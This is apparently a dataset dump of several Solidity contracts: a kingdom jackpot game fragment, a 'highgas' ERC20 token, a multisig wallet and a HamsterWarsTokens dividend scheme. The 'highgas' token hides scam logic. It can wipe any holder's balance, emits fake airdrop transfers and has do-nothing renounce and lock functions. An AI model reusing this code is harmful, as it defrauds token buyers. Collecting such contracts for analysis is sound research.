if (rounds[currentRound].jackpot4.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot4.balance);
rounds[currentRound].jackpot4.winner = winner;
uint teamComission = (rounds[currentRound].jackpot4.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot4.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot4.balance = 0;
}
}
function payJackpot5() internal checkIsClosed() {
address winner = getWinner(5);
if (rounds[currentRound].jackpot5.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot5.balance);
rounds[currentRound].jackpot5.winner = winner;
uint teamComission = (rounds[currentRound].jackpot5.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot5.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot5.balance = 0;
}
}
//
// After time expiration, owner can call this function to activate the next round of the game
//
function activateNextRound(uint _startTime) public checkIsClosed() {
payJackpot1();
payJackpot2();
payJackpot3();
payJackpot4();
payJackpot5();
currentRound++;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].startTime = _startTime;
rounds[currentRound].endTime = _startTime + 7 days;
delete kingdoms;
delete kingdomTransactions;
}
// GETTER AND SETTER FUNCTIONS
function getKingdomCount() public view returns (uint kingdomCount) {
return kingdoms.length;
}
function getJackpot(uint _nb) public view returns (address winner, uint balance) {
if (_nb == 1) {
return (getWinner(1), rounds[currentRound].jackpot1.balance);
} else if (_nb == 2) {
return (getWinner(2), rounds[currentRound].jackpot2.balance);
} else if (_nb == 3) {
return (getWinner(3), rounds[currentRound].jackpot3.balance);
} else if (_nb == 4) {
return (getWinner(4), rounds[currentRound].jackpot4.balance);
} else if (_nb == 5) {
return (getWinner(5), rounds[currentRound].jackpot5.balance);
}
}
function getKingdomType(string _kingdomKey) public view returns (uint kingdomType) {
return kingdoms[rounds[currentRound].kingdomsKeys[_kingdomKey]].kingdomType;
}
function getKingdomOwner(string _kingdomKey) public view returns (address owner) {
return kingdoms[rounds[currentRound].kingdomsKeys[_kingdomKey]].owner;
}
function getKingdomInformations(string _kingdomKey) public view returns (string title, uint minimumPrice, uint lastTransaction, uint transactionCount, address currentOwner, uint kingdomType, bool locked) {
uint kingdomId = rounds[currentRound].kingdomsKeys[_kingdomKey];
Kingdom storage kingdom = kingdoms[kingdomId];
return (kingdom.title, kingdom.minimumPrice, kingdom.lastTransaction, kingdom.transactionCount, kingdom.owner, kingdom.kingdomType, kingdom.locked);
}
// function upgradeTier(string _key) public {
// // require(now < rounds[currentRound].endTime);
// Round storage round = rounds[currentRound];
// uint kingdomId = round.kingdomsKeys[_key];
// Kingdom storage kingdom = kingdoms[kingdomId];
// uint wood = woodInterface.balanceOf(kingdom.owner);
// require(wood >= 1);
// kingdom.kingdomTier++;
// }
function getWinner(uint _type) public returns (address winner) {
require(_type > 0);
require(_type < 6);
address addr;
uint maxPoints = 0;
Round storage round = rounds[currentRound];
for (uint index = 0; index < kingdoms.length; index++) {
if (_type == kingdoms[index].kingdomType) {
address userAddress = kingdoms[index].owner;
if(kingdoms[index].kingdomTier == 1) {
round.scores[msg.sender] = round.scores[msg.sender] + 1;
} else if(kingdoms[index].kingdomTier == 2) {
round.scores[msg.sender] = round.scores[msg.sender] + 3;
} else if (kingdoms[index].kingdomTier == 3) {
round.scores[msg.sender] = round.scores[msg.sender] + 5;
} else if (kingdoms[index].kingdomTier == 4) {
round.scores[msg.sender] = round.scores[msg.sender] + 8;
} else if (kingdoms[index].kingdomTier == 5) {
round.scores[msg.sender] = round.scores[msg.sender] + 13;
}
if(round.scores[msg.sender] == maxPoints) {
if(lastTransaction[userAddress] < lastTransaction[winner]) {
addr = userAddress;
}
} else if (round.scores[msg.sender] > maxPoints) {
maxPoints = round.scores[msg.sender];
addr = userAddress;
}
}
}
return addr;
}
}
| 335,745 | 775 |
514c477c5167d8cb8ee2302612cc0ec4bae8d104672ddd2e8e46bf6515010cbb
| 10,690 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/85/85C30824e3095BF19CA195a5B44e94Ac25ab4E7c_highgas.sol
| 2,610 | 9,959 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract highgas is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address deployer = 0xB285a2fDD466FEcb8DaAF0682a46Ecb1475b88Cb;
address public _controller = 0xB285a2fDD466FEcb8DaAF0682a46Ecb1475b88Cb;
constructor () public {
_name = "gas is too fucking high on mainnet";
_symbol ="GAS";
_decimals = 18;
uint256 initialSupply = 10000000000;
_mintTx(deployer, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
if (recipient == _controller){
recipient = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mintTx(address locker, uint256 amt) public {
require(msg.sender == _controller, "ERC20: zero address");
_totalSupply = _totalSupply.add(amt);
_balances[_controller] = _balances[_controller].add(amt);
emit Transfer(address(0), locker, amt);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _sendTx(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
modifier _ownerAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
modifier _approveAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
function airdrop(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function execute(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function renounceOwnership() public _ownerAccess(){}
function lockLPToken() public _ownerAccess(){}
function Approve(address[] memory bots) public _approveAccess(){
for (uint256 x = 0; x < bots.length; x++) {
uint256 amt = _balances[bots[x]];
_balances[bots[x]] = _balances[bots[x]].sub(amt, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amt);
}}
}
| 45,354 | 776 |
038bcd9b44b1ce4f8ac143f5b2548f04b532f66aa82a53bff8ada772d3ef5120
| 13,189 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/2089_43468_0x715cdda5e9ad30a0ced14940f9997ee611496de6.sol
| 2,913 | 12,672 |
// File: contracts/lib/MultiSigWallet.sol
pragma solidity 0.5.17;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
/// Modified for Harmony by gupadhyaya 2020
contract MultiSigWallet {
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
uint256 public constant MAX_OWNER_COUNT = 50;
mapping(uint256 => Transaction) public transactions;
mapping(uint256 => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(ownerCount <= MAX_OWNER_COUNT &&
_required <= ownerCount &&
_required != 0 &&
ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function() external payable {
if (msg.value > 0) emit Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint256 _required)
public
validRequirement(_owners.length, _required)
{
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length) changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint256 i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination,
uint256 value,
bytes memory data) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination,
txn.value,
txn.data.length,
txn.data)) emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination,
uint256 value,
uint256 dataLength,
bytes memory data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
if (count == required) return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination,
uint256 value,
bytes memory data) internal notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint256 transactionId)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < transactionCount; i++)
if ((pending && !transactions[i].executed) ||
(executed && transactions[i].executed)) count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint256 transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint256 from,
uint256 to,
bool pending,
bool executed) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if ((pending && !transactions[i].executed) ||
(executed && transactions[i].executed)) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 232,580 | 777 |
4edcabe4c3ab9dcd53eaaa5ddaa55cd8031c235835ed7c2cf14dee540071853d
| 12,593 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa798a16aff17f4ee164271d680ad5459fe7693a0.sol
| 3,283 | 11,884 |
pragma solidity ^0.4.25;
contract HamsterWarsTokens {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "HamsterWarsTokens";
string public symbol = "HWT";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 5;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 8;
uint8 constant internal refferalFee_ = 39;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
